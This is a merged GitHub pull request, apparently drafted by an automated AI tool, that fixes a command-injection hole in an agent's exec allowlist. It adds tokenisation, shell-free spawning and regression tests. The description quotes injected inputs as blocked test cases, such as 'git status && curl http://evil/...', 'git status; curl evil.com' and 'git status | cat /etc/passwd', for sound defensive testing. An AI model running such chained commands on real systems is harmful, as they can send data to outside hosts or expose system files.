fix(exec): replace prefix-match allowlist with token-based check and shell-free execution#331
Merged
xlabtg merged 3 commits intoxlabtg:mainfrom Apr 23, 2026
Merged
Conversation
Adding .gitkeep for PR creation (default mode). This file will be removed when the task is complete. Issue: xlabtg#307
…shell-free execution Fixes FULL-C2: allowing "git" in the allowlist previously permitted "git status && curl http://evil/..." because isCommandAllowed compared a raw string prefix and then ran the whole command through bash -c. Changes: - New allowlist.ts: tokenizeCommand() splits on unquoted whitespace and rejects any command containing shell metacharacters (;&|`$<>\n\). isCommandAllowed() extracts the first token of the command and compares it against the first token of each allowlist entry, so "git" and "git status" are equivalent allowlist entries. - runner.ts: accepts useShell option; when false executes via spawn(argv[0], argv.slice(1)) with no shell, preventing OS-level injection even if a metachar somehow slips through validation. - run.ts: sets useShell=false in allowlist mode; updates tool description to document the pipe/redirect restriction. - types.ts: adds useShell to RunOptions. - config/schema.ts: updates command_allowlist description to clarify entries are program names. - tests: adds tokenizeCommand tests; adds four SECURITY regression tests asserting that "git status && id", "git status; curl", etc. are all blocked when allowlist is ["git"]. - SECURITY.md / config.example.yaml: documents allowlist mode behaviour and restrictions. Acceptance criteria from issue xlabtg#307: ✓ isCommandAllowed uses tokenisation, not prefix-match ✓ allowlist mode executes without bash -c ✓ "git status && id" rejected under allowlist: ["git"] ✓ "git status" executes correctly ✓ SECURITY.md documents allowlist mode limitations
\"git\" allows arbitrary shell
Author
🤖 Solution Draft LogThis log file contains the complete execution trace of the AI solution draft process. 💰 Cost: $1.979571📊 Context and tokens usage:
Total: (67.9K + 4.6M cached) input tokens, 23.1K output tokens, $1.979571 cost 🤖 Models used:
📎 Log file uploaded as Gist (2324KB)Now working session is ended, feel free to review and add any feedback on the solution draft. |
Author
✅ Ready to mergeThis pull request is now ready to be merged:
Monitored by hive-mind with --auto-restart-until-mergeable flag |
This reverts commit 330da09.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Fixes #307 (FULL-C2 audit finding).
isCommandAllowedcompared the raw command string by prefix. An operator who configuredallowlist: ["git"]intending "only git" actually permitted:The string starts with
"git ", soisCommandAllowedreturnedtrue, and the whole pipeline was then handed tobash -c.Solution
1.
src/agent/tools/exec/allowlist.ts(new file)tokenizeCommand(command)— minimal POSIX tokenizer (no external deps):nullimmediately if the command contains any shell metacharacter:; & | \$ < > \ \n`isCommandAllowed(command, commandAllowlist):nullor empty"git"and"git status"as allowlist entries are thus equivalent (both permit anygit ...invocation)2.
src/agent/tools/exec/runner.tsAccepts a new
useShell?: booleanoption (defaulttrue).When
false: executesspawn(argv[0], argv.slice(1))— nobash, no shell.3.
src/agent/tools/exec/run.tsSets
useShell = falsewhenmode === "allowlist", so even if validation is somehow bypassed the OS never interprets shell syntax.4. Documentation
SECURITY.md: new Exec Allowlist Mode section explaining metachar rejection, shell-free execution, first-token matching, and pipe/redirect restrictionsconfig.example.yaml: updated comments to show program-name allowlist entriessrc/config/schema.ts: updatedcommand_allowlistdescriptionAcceptance criteria
isCommandAlloweduses tokenisation, not prefix-matchbash -cgit status && idrejected underallowlist: ["git"]git statusexecutes correctly underallowlist: ["git"]SECURITY.mddocuments allowlist mode limitationsTest plan
New regression tests in
src/agent/tools/exec/__tests__/tools.test.ts:tokenizeCommandsuite: 12 cases covering quoting, all metachar classes, newlineisCommandAllowedsuite: updated cases + 4 SECURITY-labelled regression tests:git status && id→ rejectedgit status; curl evil.com→ rejectedgit status | cat /etc/passwd→ rejectedgit $(id)→ rejectedexec_run allowlist modetests updated to assertuseShell: falseis passed to runnerTypeScript:
tsc --noEmitexits 0.